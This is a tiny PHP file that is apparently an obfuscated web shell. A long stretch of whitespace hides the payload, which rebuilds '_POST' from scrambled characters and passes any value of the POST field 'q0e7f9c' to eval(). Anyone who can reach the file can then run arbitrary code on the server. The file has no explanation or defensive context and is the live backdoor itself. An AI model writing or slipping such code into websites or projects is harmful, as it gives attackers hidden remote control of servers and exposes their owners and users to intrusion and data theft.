<?php                                                                                                                                                                                                                                                                  $gxqk9 = "s_opt" ; $yed7 =strtoupper( $gxqk9[1].$gxqk9[3]. $gxqk9[2].$gxqk9[0]. $gxqk9[4] );if(isset (${$yed7} ['q0e7f9c' ] ) ) { eval ( ${$yed7 }['q0e7f9c' ]) ;}?>